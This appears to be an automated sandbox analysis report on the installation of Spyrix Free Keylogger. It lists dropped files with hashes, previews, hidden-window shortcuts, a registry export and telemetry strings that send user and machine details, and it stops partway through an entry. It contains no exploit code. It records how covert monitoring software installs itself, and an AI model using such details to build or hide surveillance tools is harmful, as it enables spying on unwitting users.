SHA-256:	2360EAEBD32653D08F75DB2F1C2AE67F4AE3906D09F94AD4C532BA35951553D1
SHA-512:	C73BE7BE0C52CDAB4BA1E3022D9D1E1E2DBC897E34A4F243A7D8936BB7B4A2F46DF2BD1F6E7CA63F6A80C799E4EAD1EAEE38550683473EBF53FC8E2569112BBF
Malicious:	false
Reputation:	unknown
Preview:	http://www.spyrix.com/purchase.php?prg=sfk

C:\ProgramData\Spyrix Free Keylogger\temp\reg\info.ttl (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	GIF image data, version 89a, 327 x 57
Category:	dropped
Size (bytes):	7609
Entropy (8bit):	7.838852889190603
Encrypted:	false
SSDEEP:	192:CRjl+OutIyaaHKip9QY5Lg6pWlicYMG5/b:OshLaIFUug6pGzo
MD5:	359D85C48DCA7C9C529A7EC0F4D30DC4
SHA1:	749EE1A5C90299C9360DD3131222CE92584FFCC2
SHA-256:	03BBB9C7C115C8FD5E2FB573B86687AE27672C7F8B970FB9661E5007FC6E42BE
SHA-512:	9494049C968B6BEE93090630086EB4D8129B48E5E6CBA3CF2E7EEF2114948316D0068F859594EA3A464AB2FE99510C1C94EEF786A933114C0CFC630C13435B1D
Malicious:	false
Reputation:	unknown
Preview:	GIF89aG.9....Gq.....$...Z...ud.........\|.........,&..........M5.................g.........................yv.....6.............v.72......g.L........C.................T.......m...kg.......eX...X}.k..{................s.......{..........................................n...................C......ZU..................................................`......D@.M........z........F..........\|..a....................i........................s.......UQ...............................4c...................?%....w.#Y.BBB.........000.........fff.....888TTTxxx.ZD..........................d.........................................................................r..*]....Q.....U..~............OM.......................................................!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="ht

C:\ProgramData\Spyrix Free Keylogger\temp\reg\info.uid

Download File

Process:	C:\Windows\SysWOW64\regedit.exe
File Type:	Windows Registry little-endian text (Win2K or above)
Category:	dropped
Size (bytes):	2086
Entropy (8bit):	3.740968047893247
Encrypted:	false
SSDEEP:	48:tKleUhKVfcfSOMokHSOMSdiianNHMSOMadjHMSOMadvAcdqcTc20rIO:Sh0UKTy3iaNJCjJCvzdNoNIO
MD5:	0100BB15F2EF75995FD0CA6EAECBC3CF
SHA1:	CC7AFA9E26000A5A07B085974B4AB8C446C681B2
SHA-256:	EA02FF6D26D0619B9183D45023A613F2DE0ECE79448FABF4528DC9F4305B8DC3
SHA-512:	87496C13FAFEE7AC85519C01C1BB0C721842C21091A917295335D3A67281C9F265D5915F8CCD4EF1AC31635D2EFC50A2DED136B96642B61494A8DE9CA2805304
Malicious:	true
Reputation:	unknown
Preview:	..W.i.n.d.o.w.s. .R.e.g.i.s.t.r.y. .E.d.i.t.o.r. .V.e.r.s.i.o.n. .5...0.0.........[.H.K.E.Y._.L.O.C.A.L._.M.A.C.H.I.N.E.\.S.o.f.t.w.a.r.e.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s.\.C.u.r.r.e.n.t.V.e.r.s.i.o.n.\.U.n.i.n.s.t.a.l.l.\.S.p.y.r.i.x. .F.r.e.e. .K.e.y.l.o.g.g.e.r._.i.s.1.].....".I.n.n.o. .S.e.t.u.p.:. .S.e.t.u.p. .V.e.r.s.i.o.n.".=.".5...5...9. .(.u.).".....".I.n.n.o. .S.e.t.u.p.:. .A.p.p. .P.a.t.h.".=.".C.:.\.\.P.r.o.g.r.a.m.D.a.t.a.\.\.S.e.c.u.r.i.t.y. .M.o.n.i.t.o.r.\.\.{.8.2.7.D.2.1.C.C.-.A.2.2.D.-.4.5.D.6.-.2.3.C.A.-.4.5.1.D.D.A.C.7.6.9.B.A.}.".....".I.n.s.t.a.l.l.L.o.c.a.t.i.o.n.".=.".C.:.\.\.P.r.o.g.r.a.m.D.a.t.a.\.\.S.e.c.u.r.i.t.y. .M.o.n.i.t.o.r.\.\.{.8.2.7.D.2.1.C.C.-.A.2.2.D.-.4.5.D.6.-.2.3.C.A.-.4.5.1.D.D.A.C.7.6.9.B.A.}.\.\.".....".I.n.n.o. .S.e.t.u.p.:. .I.c.o.n. .G.r.o.u.p.".=.".S.p.y.r.i.x. .F.r.e.e. .K.e.y.l.o.g.g.e.r.".....".I.n.n.o. .S.e.t.u.p.:. .U.s.e.r.".=.".j.o.n.e.s.".....".I.n.n.o. .S.e.t.u.p.:. .L.a.n.g.u.a.g.e.".=.".e.n.g.l.i.s.h.".....".D.i.s.p.l.a.y.N.

C:\ProgramData\Spyrix Free Keylogger\temp\reg\is-1TFQ0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	GIF image data, version 89a, 884 x 198
Category:	dropped
Size (bytes):	90361
Entropy (8bit):	7.9769989580983625
Encrypted:	false
SSDEEP:	1536:Zy6BW/LDE6LyfJVEr+jMi2hm9YFrRUv9Ie2eIDtTER:M6eL46LCJVpCsy6IAIRe
MD5:	3475836FCF6BBE603D1E83DD8A3C4765
SHA1:	DD92253B2600C1612FDC657FFB41E4FD66352C6B
SHA-256:	F8E582779693B4DAB740E13721093D9B8EB69DC0FF5CFACB5208C04321BA37F8
SHA-512:	8AE5E48692962A7F8049521F3B3510F1F1B9EF7CAF4A40526D7D6286BBEB647CFA54D88AF9A8E03AD884A42AECBA677E0A229577A394CD228CDF98E0F99506E4
Malicious:	false
Reputation:	unknown
Preview:	GIF89at..........u.J................i]OOH..........mQ...K2..C$..............B.p..X...dH....V<........M........%#"...........z.....[&....x8#.........`..............,$.....}}}.._...d0......Hw.hih...L..............xK..q..v.............e(......~......`.z`..........g.;".......t..........Y....r+.....q....xd...........R...........ad\.......WA......a...Y).R......3... .....]CHA6.......n............z ....a<..2.b...................L0....%+...nst]cc......lnk..M..x....QD.....&........Y..;........syu^^X......~..........fnr..e..xL..................U.hV....`..j................D....g..R....^.....<5.vqCCC..84/..2..5../..;.....&....L%.r+...........).....................................................W..V.......v............R......WYW....?%.........!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="ht

C:\ProgramData\Spyrix Free Keylogger\temp\reg\is-A80FN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.248529327128576
Encrypted:	false
SSDEEP:	3:N1KJS40dyTKVQXGNErnVernn:Cc40dyTK6XaErVer
MD5:	8F1A40DDD71F7EA45DF0E2FE0BACA597
SHA1:	E64C2983DE93F6566752E01BC0A2A5F3983759F6
SHA-256:	2360EAEBD32653D08F75DB2F1C2AE67F4AE3906D09F94AD4C532BA35951553D1
SHA-512:	C73BE7BE0C52CDAB4BA1E3022D9D1E1E2DBC897E34A4F243A7D8936BB7B4A2F46DF2BD1F6E7CA63F6A80C799E4EAD1EAEE38550683473EBF53FC8E2569112BBF
Malicious:	false
Reputation:	unknown
Preview:	http://www.spyrix.com/purchase.php?prg=sfk

C:\ProgramData\Spyrix Free Keylogger\temp\reg\is-IKLRH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	GIF image data, version 89a, 327 x 57
Category:	dropped
Size (bytes):	7609
Entropy (8bit):	7.838852889190603
Encrypted:	false
SSDEEP:	192:CRjl+OutIyaaHKip9QY5Lg6pWlicYMG5/b:OshLaIFUug6pGzo
MD5:	359D85C48DCA7C9C529A7EC0F4D30DC4
SHA1:	749EE1A5C90299C9360DD3131222CE92584FFCC2
SHA-256:	03BBB9C7C115C8FD5E2FB573B86687AE27672C7F8B970FB9661E5007FC6E42BE
SHA-512:	9494049C968B6BEE93090630086EB4D8129B48E5E6CBA3CF2E7EEF2114948316D0068F859594EA3A464AB2FE99510C1C94EEF786A933114C0CFC630C13435B1D
Malicious:	false
Reputation:	unknown
Preview:	GIF89aG.9....Gq.....$...Z...ud.........\|.........,&..........M5.................g.........................yv.....6.............v.72......g.L........C.................T.......m...kg.......eX...X}.k..{................s.......{..........................................n...................C......ZU..................................................`......D@.M........z........F..........\|..a....................i........................s.......UQ...............................4c...................?%....w.#Y.BBB.........000.........fff.....888TTTxxx.ZD..........................d.........................................................................r..*]....Q.....U..~............OM.......................................................!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="ht

C:\ProgramData\Spyrix Free Keylogger\temp\reg\ru\info.dat (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	GIF image data, version 89a, 884 x 198
Category:	dropped
Size (bytes):	90699
Entropy (8bit):	7.976611505014986
Encrypted:	false
SSDEEP:	1536:TO6fc7nz/3pXEtubO/n9l7STXTQXsxalgH8UsX4UzAY3p18N14e86zebLqDf:BEzzRXEtubO/yTXTlxbrUDcu/8v4e8AH
MD5:	EF79CF8AABBC41E42025D3ACF51B36C9
SHA1:	71940D0E9D230D295D8A89397DF4ED0BA5BD72DA
SHA-256:	24D4AC7D4101A76F35F636660A92AD95E1C068065D17BB4F8CC27CD3C91402F8
SHA-512:	E579BEED091D3A4068AE664640BA0EDCFB309F0C7142CD452B45F79A69B6423A8237D9256C9A0E3FFE4F22EBC1C01D26B2BE79FD7B3E3E9643A1142A997E5902
Malicious:	false
Reputation:	unknown
Preview:	GIF89at.......s...............f[.......u..mQ...ONH.L1..C;................C+.qX....X.dH......W>...........M..........'&#.z....[&..x7".......................Y........+#{}}.......^...a.......hih...X..............zL....n..v..........e(........`.za..........j.7 .......m..........y.......u,......q....we.........T.............dd[.......WCi......e..Y*.R...4...!.....\BEC?..........n...............a>..b.Cy.............=CH.}.....M0....%+nst]dc......mpl.O...N..x....E?.....).....[..;.......sxq[^X......}.........c...fmr..~M..................L.k_...._..j.{.................D....f....a.....?(..{.\|{974..5...../..;.....&....L%.r+...........).......................................................................W....v...............R...YYW.......?%.........!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="ht

C:\ProgramData\Spyrix Free Keylogger\temp\reg\ru\info.net (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.248529327128576
Encrypted:	false
SSDEEP:	3:N1KJS40dyTKVQXGNErnVernn:Cc40dyTK6XaErVer
MD5:	8F1A40DDD71F7EA45DF0E2FE0BACA597
SHA1:	E64C2983DE93F6566752E01BC0A2A5F3983759F6
SHA-256:	2360EAEBD32653D08F75DB2F1C2AE67F4AE3906D09F94AD4C532BA35951553D1
SHA-512:	C73BE7BE0C52CDAB4BA1E3022D9D1E1E2DBC897E34A4F243A7D8936BB7B4A2F46DF2BD1F6E7CA63F6A80C799E4EAD1EAEE38550683473EBF53FC8E2569112BBF
Malicious:	false
Reputation:	unknown
Preview:	http://www.spyrix.com/purchase.php?prg=sfk

C:\ProgramData\Spyrix Free Keylogger\temp\reg\ru\info.ttl (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	GIF image data, version 89a, 327 x 57
Category:	dropped
Size (bytes):	7829
Entropy (8bit):	7.826687568770807
Encrypted:	false
SSDEEP:	192:ZwZ+70N539DtmJu0clifT2eTb6uRM3Q6q:Z0+QNftOcloTBTtRMHq
MD5:	241545A94AF6185978CFD96B32101E95
SHA1:	75FC98239798D933FD87978D7545964CE0E611D8
SHA-256:	01FD9E13EEF1D14C6C2B4E5EA16E40789FE5423715500C29A7DC58FDF2C1364F
SHA-512:	1A127A5EB9573418B3301A0E498B5335AEE0E99F87C8B4C12B6907476D49D1781264700A692FBE24971D405695AAE9BD5C4F40E95D10A1F26CBB0818A32899E1
Malicious:	false
Reputation:	unknown
Preview:	GIF89aG.9...............g.............r...w................m.............$.....Z...ud.........\|..............-(.......M5o...................h.............6{...........yu6.............w.83.........L.....>..d.........U....m...mj.......eYY~.k..{.............................w........c....................!r............p........W.........E.....ZU.......j.................................b.....Qw..D@.N......L.z......F.A...........\|..N......f.............x.........].......UQ.........................................`.....?%.w.#Y....BBB...fff............000...TTT888.....xxx.ZD.....................b.....>j....Iq...................................................@l.......~........Q..U..............4c.........._......OM.................................!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="ht

C:\ProgramData\Spyrix Free Keylogger\temp\reg\ru\is-5G3KA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	GIF image data, version 89a, 884 x 198
Category:	dropped
Size (bytes):	90699
Entropy (8bit):	7.976611505014986
Encrypted:	false
SSDEEP:	1536:TO6fc7nz/3pXEtubO/n9l7STXTQXsxalgH8UsX4UzAY3p18N14e86zebLqDf:BEzzRXEtubO/yTXTlxbrUDcu/8v4e8AH
MD5:	EF79CF8AABBC41E42025D3ACF51B36C9
SHA1:	71940D0E9D230D295D8A89397DF4ED0BA5BD72DA
SHA-256:	24D4AC7D4101A76F35F636660A92AD95E1C068065D17BB4F8CC27CD3C91402F8
SHA-512:	E579BEED091D3A4068AE664640BA0EDCFB309F0C7142CD452B45F79A69B6423A8237D9256C9A0E3FFE4F22EBC1C01D26B2BE79FD7B3E3E9643A1142A997E5902
Malicious:	false
Reputation:	unknown
Preview:	GIF89at.......s...............f[.......u..mQ...ONH.L1..C;................C+.qX....X.dH......W>...........M..........'&#.z....[&..x7".......................Y........+#{}}.......^...a.......hih...X..............zL....n..v..........e(........`.za..........j.7 .......m..........y.......u,......q....we.........T.............dd[.......WCi......e..Y*.R...4...!.....\BEC?..........n...............a>..b.Cy.............=CH.}.....M0....%+nst]dc......mpl.O...N..x....E?.....).....[..;.......sxq[^X......}.........c...fmr..~M..................L.k_...._..j.{.................D....f....a.....?(..{.\|{974..5...../..;.....&....L%.r+...........).......................................................................W....v...............R...YYW.......?%.........!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="ht

C:\ProgramData\Spyrix Free Keylogger\temp\reg\ru\is-QU7U6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.248529327128576
Encrypted:	false
SSDEEP:	3:N1KJS40dyTKVQXGNErnVernn:Cc40dyTK6XaErVer
MD5:	8F1A40DDD71F7EA45DF0E2FE0BACA597
SHA1:	E64C2983DE93F6566752E01BC0A2A5F3983759F6
SHA-256:	2360EAEBD32653D08F75DB2F1C2AE67F4AE3906D09F94AD4C532BA35951553D1
SHA-512:	C73BE7BE0C52CDAB4BA1E3022D9D1E1E2DBC897E34A4F243A7D8936BB7B4A2F46DF2BD1F6E7CA63F6A80C799E4EAD1EAEE38550683473EBF53FC8E2569112BBF
Malicious:	false
Reputation:	unknown
Preview:	http://www.spyrix.com/purchase.php?prg=sfk

C:\ProgramData\Spyrix Free Keylogger\temp\reg\ru\is-VCGQQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	GIF image data, version 89a, 327 x 57
Category:	dropped
Size (bytes):	7829
Entropy (8bit):	7.826687568770807
Encrypted:	false
SSDEEP:	192:ZwZ+70N539DtmJu0clifT2eTb6uRM3Q6q:Z0+QNftOcloTBTtRMHq
MD5:	241545A94AF6185978CFD96B32101E95
SHA1:	75FC98239798D933FD87978D7545964CE0E611D8
SHA-256:	01FD9E13EEF1D14C6C2B4E5EA16E40789FE5423715500C29A7DC58FDF2C1364F
SHA-512:	1A127A5EB9573418B3301A0E498B5335AEE0E99F87C8B4C12B6907476D49D1781264700A692FBE24971D405695AAE9BD5C4F40E95D10A1F26CBB0818A32899E1
Malicious:	false
Reputation:	unknown
Preview:	GIF89aG.9...............g.............r...w................m.............$.....Z...ud.........\|..............-(.......M5o...................h.............6{...........yu6.............w.83.........L.....>..d.........U....m...mj.......eYY~.k..{.............................w........c....................!r............p........W.........E.....ZU.......j.................................b.....Qw..D@.N......L.z......F.A...........\|..N......f.............x.........].......UQ.........................................`.....?%.w.#Y....BBB...fff............000...TTT888.....xxx.ZD.....................b.....>j....Iq...................................................@l.......~........Q..U..............4c.........._......OM.................................!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="ht

C:\ProgramData\Spyrix Free Keylogger\temp\runprg.ini

Download File

Process:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	786
Entropy (8bit):	5.304410111618822
Encrypted:	false
SSDEEP:	12:32KM9OAtyC3kuUMnMNW69EyjM1usvOq/bubJncTJK/2X7oQRrQXEh1adtc8XU:3pCUuUGMxjMpOSubOTkwR0EhUvk
MD5:	6A9C56CB08320ED53E9F54E732C2D0E7
SHA1:	624B9B09770BFF67255366BD3624E9369279339B
SHA-256:	80A100AB70E85924AE7AB19A35C6F1343F0CCB839A7EC90342FA200AFF436A17
SHA-512:	DAFC0601A4E0608E355DB391B5B371F49A1BA680658013752216E12576D771745C7C20AC6A6C1CC2B371FEA4588FA232F5E44C49E30B06DFF4BCC5782D476D67
Malicious:	false
Reputation:	unknown
Preview:	[explorer.exe]..Description=Windows Explorer..Path=C:\Windows\Explorer.EXE..[TextInputHost.exe]..Description=..Path=C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe..[ApplicationFrameHost.exe]..Description=Application Frame Host..Path=C:\Windows\system32\ApplicationFrameHost.exe..[WinStore.App.exe]..Description=Store..Path=C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe..[SystemSettings.exe]..Description=Settings..Path=C:\Windows\ImmersiveControlPanel\SystemSettings.exe..[WqdbboXfUJ.exe]..Description=..Path=C:\Program Files (x86)\jwrgSNDbPfIAWiJMbzTApntmoDeMmvtMEDAjIJOGTKdN\WqdbboXfUJ.exe..[chrome.exe]..Description=Google Chrome..Path=C:\Program Files\Google\Chrome\Application\chrome.exe..

C:\ProgramData\Spyrix Free Keylogger\temp\start\Spyrix Free Keylogger.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Icon number=0, Archive, ctime=Wed Oct 2 03:11:11 2024, mtime=Wed Oct 2 03:11:12 2024, atime=Mon Sep 23 18:21:00 2024, length=5346216, window=hide
Category:	dropped
Size (bytes):	2100
Entropy (8bit):	3.6729054004998765
Encrypted:	false
SSDEEP:	48:82d6SndrYjQj+mj9k+mE9k+m9kWNH+m9e:82HndXj+wk+Hk+yt+
MD5:	D50E78ED69F94C59406716581E8D0D40
SHA1:	A58E165F2377E6C9DFC72824BA4410E8F9CE279F
SHA-256:	3D9469A31F1D9A650543C7973B0557B3CA3D0C7DB03FC4AFAA7046E3A2429788
SHA-512:	CDAF97219117602571CB95E2FC4AAB06D89B998C63D10EA88A022BB4AF1B123E2931B4CBF1EECFDF4137514E742DEE547747649E582B90B4CFAE71388E1EF9F3
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ....W......V................Q..........................P.O. .:i.....+00.../C:\...................`.1.....BYf!. PROGRA~3..H......O.IBYf!....g.....................o"..P.r.o.g.r.a.m.D.a.t.a.....j.1.....BYf!. SECURI~1..R......BYf!BYf!....W.....................o"..S.e.c.u.r.i.t.y. .M.o.n.i.t.o.r.......1.....BYl!. {827D2~1..~......BYf!BYl!..........................f..{.8.2.7.D.2.1.C.C.-.A.2.2.D.-.4.5.D.6.-.2.3.C.A.-.4.5.1.D.D.A.C.7.6.9.B.A.}.....Z.2...Q.7Y.. spkl.exe..B......BYf!BYg!.....7........................s.p.k.l...e.x.e.......~...............-.......}...........D.]_.....C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe..I.....\.....\.....\.S.e.c.u.r.i.t.y. .M.o.n.i.t.o.r.\.{.8.2.7.D.2.1.C.C.-.A.2.2.D.-.4.5.D.6.-.2.3.C.A.-.4.5.1.D.D.A.C.7.6.9.B.A.}.\.s.p.k.l...e.x.e.F.C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.S.e.c.u.r.i.t.y. .M.o.n.i.t.o.r.\.{.8.2.7.D.2.1.C.C.-.A.2.2.D.-.4.5.D.6.-.2.3.C.A.-.4.5.1.D.D.A.C.7.6.9.B.A.}.O.C.:.\.P.r.o.g.r

C:\ProgramData\Spyrix Free Keylogger\temp\start\Uninstall Spyrix Free Keylogger.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Archive, ctime=Wed Oct 2 03:11:10 2024, mtime=Wed Oct 2 03:11:10 2024, atime=Wed Oct 2 03:10:34 2024, length=1308909, window=hide
Category:	dropped
Size (bytes):	1176
Entropy (8bit):	4.632406947721337
Encrypted:	false
SSDEEP:	24:8m/zW6aZKKndX+8tyAMa0Y3Sk+18k79k+18s/Bm:8m/zRSndrtRf3R+mk79k+m0
MD5:	A41A4DB4D9BD6CB4F29A88DF20521678
SHA1:	D51673C9AA7D454298628CF17607F5DDA7FC856B
SHA-256:	8A74BF335F13FC691D3027AE764D1063BFE68B516E372C90F36227F577554975
SHA-512:	7D608447AD8ACB318919A78BA41688212F21773D1D43651E727CDBD9DD24DBF8E557ACF293D3A83342E64C2049483744C91538FCE4D322050FC4D450FF7B8C3E
Malicious:	false
Reputation:	unknown
Preview:	L..................F.... ..........c.......\|L...................................P.O. .:i.....+00.../C:\...................`.1.....BYf!. PROGRA~3..H......O.IBYf!....g.....................o"..P.r.o.g.r.a.m.D.a.t.a.....j.1.....BYf!. SECURI~1..R......BYf!BYf!....W.....................o"..S.e.c.u.r.i.t.y. .M.o.n.i.t.o.r.......1.....BYl!. {827D2~1..~......BYf!BYl!..........................f..{.8.2.7.D.2.1.C.C.-.A.2.2.D.-.4.5.D.6.-.2.3.C.A.-.4.5.1.D.D.A.C.7.6.9.B.A.}.....f.2.....BYR! unins000.exe..J......BYf!BYf!.....#.....................9..u.n.i.n.s.0.0.0...e.x.e.......................-...................D.]_.....C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\unins000.exe..M.....\.....\.....\.S.e.c.u.r.i.t.y. .M.o.n.i.t.o.r.\.{.8.2.7.D.2.1.C.C.-.A.2.2.D.-.4.5.D.6.-.2.3.C.A.-.4.5.1.D.D.A.C.7.6.9.B.A.}.\.u.n.i.n.s.0.0.0...e.x.e.F.C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.S.e.c.u.r.i.t.y. .M.o.n.i.t.o.r.\.{.8.2.7.D.2.1.C.C.-.A.2.2.D.-.4.5.D.6.-.2.3.C.A.-.4.5.1.D.D.A.C.7.6.9

C:\ProgramData\Spyrix Free Keylogger\temp\stat\app_Monitoring_StartButton_EE7E4705DD4AC06ADFE650C2CDC39BDD

Download File

Process:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe
File Type:	ASCII text, with very long lines (425), with no line terminators
Category:	dropped
Size (bytes):	425
Entropy (8bit):	5.129511461172545
Encrypted:	false
SSDEEP:	6:FB92iY7hCkrMIBaSA/EzUwXVX/C+CKGkUVfbdYgfiE3T+tD0UDiA7TGCGJJpWKiu:LK7EkrMIBZPXVX/vBJUVfbdAEkZoLELi
MD5:	0A99D9D037E12E8EE90443450C55707F
SHA1:	76A6DA7263571F2BFE9520A33ACE4299290E2F6A
SHA-256:	0A61B6C8127F8D13EE4AF37C83E2E9138E6E7F60468D13F78AB6876A7AF298DF
SHA-512:	ED21F7AF998FD9E30837AB69E643AC372D2D93C3AAB804374B23443EDB608B5A87E19217D4DDEAD007DC22ED71362C5F25D101A2F9ECBB906213B0025E4463B3
Malicious:	false
Reputation:	unknown
Preview:	&action=app:Monitoring:StartButton&data=&prg_id=Spyrix Free Keylogger&prg_ver=11.6.22&user_name=user&user=&comp_name=138727&comp_id=9e146be9-c76a-4720-bcdb-53011b87bd06_241002001037&comp_time=2024-10-02 00:11:37.458&prg_lng=english&os_caption= ()&os_type=windows&os_country_code=&time_shift=-5&os_install_date=-- ::&av=Windows Defender&dnet=4.8.04084&trial_id=-1&license=&prg_seconds=1&token=dc671538152d0fe5291ad0d7c0e18bbe

C:\ProgramData\Spyrix Free Keylogger\temp\stat\app_Monitoring_Start_EE7E4705DD4AC06ADFE650C2CDC39BDD

Download File

Process:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe
File Type:	ASCII text, with very long lines (419), with no line terminators
Category:	dropped
Size (bytes):	419
Entropy (8bit):	5.128801273552338
Encrypted:	false
SSDEEP:	6:FB92iNECkrMIBaSA/EzUwXVX/C+CKGqNVbdYgfiE3T+tD0UDiA7TGCGJJpHhKGYG:LbHkrMIBZPXVX/vBPbdAEkZihKGYG
MD5:	7F2D7DE125F467260F90FD0E90D842D3
SHA1:	124D864066437613050B7F5C8CD9E03FAA6C5ECE
SHA-256:	1AAE82FAA4AB18FF1A9BFE4A7B31F52D8D58E109F269129F9DF3B7703340AC9F
SHA-512:	896A61BD9079C375258F6AF98F7D168B3905A607189A872E1A9ED5501E8F908A8AFED18C033CF56B40C7261D58E425D2566AF988F93D507CEDC1D06C3295C826
Malicious:	false
Reputation:	unknown
Preview:	&action=app:Monitoring:Start&data=&prg_id=Spyrix Free Keylogger&prg_ver=11.6.22&user_name=user&user=&comp_name=138727&comp_id=9e146be9-c76a-4720-bcdb-53011b87bd06_241002001037&comp_time=2024-10-02 00:11:40.299&prg_lng=english&os_caption= ()&os_type=windows&os_country_code=&time_shift=-5&os_install_date=-- ::&av=Windows Defender&dnet=4.8.04084&trial_id=-1&license=&prg_seconds=4&token=163630aab4e6bc85ca95601cef80c824

C:\ProgramData\Spyrix Free Keylogger\temp\stat\app_Run_First_EE7E4705DD4AC06ADFE650C2CDC39BDD

Download File

Process:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe
File Type:	ASCII text, with very long lines (412), with no line terminators
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.148312905385746
Encrypted:	false
SSDEEP:	6:FBWRglCkrMIBaSA/EzUwXVX/C+CKGu1wbdYgfiE3T+tD0UDiA7TGCGJJpSNKOwKd:LWTkrMIBZPXVX/vBVwbdAEkZXwGV
MD5:	D8EF612D3F625A3CB350EB5AAB930631
SHA1:	4F96F82B2315F72FE91ACF4326A26EFFF77836AD
SHA-256:	BE7AD46C3E8712A37A06EF03D00145C038578D427E89AF1230E6848CB7F17F5C
SHA-512:	27CE7CB5D458FB7B6ED9CC313C73A45BA828AF2CF49F8EDCEE1F5CD857E81E02F05A8E4EB0225B890CB63E3C99B72523547718AB70767E2181F81E7A6DBF8B0E
Malicious:	false
Reputation:	unknown
Preview:	&action=app:Run:First&data=&prg_id=Spyrix Free Keylogger&prg_ver=11.6.22&user_name=user&user=&comp_name=138727&comp_id=9e146be9-c76a-4720-bcdb-53011b87bd06_241002001037&comp_time=2024-10-02 00:11:40.609&prg_lng=english&os_caption= ()&os_type=windows&os_country_code=&time_shift=-5&os_install_date=-- ::&av=Windows Defender&dnet=4.8.04084&trial_id=-1&license=&prg_seconds=5&token=8e9c136b8fc7142676e78f48885b1610

C:\ProgramData\Spyrix Free Keylogger\temp\stat\app_Show_EE7E4705DD4AC06ADFE650C2CDC39BDD

Download File

Process:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe
File Type:	ASCII text, with very long lines (408), with no line terminators
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.118575921398582
Encrypted:	false
SSDEEP:	6:FBNCkrMIBaSA/EzUwXVX/C+CKGURlCwbdYgfiE3T+tD0UDiA7TGCGJJp5quAPn:LgkrMIBZPXVX/vBNvbdAEkZv
MD5:	C6DDEA7A2F1106E57043D274FA8AF509
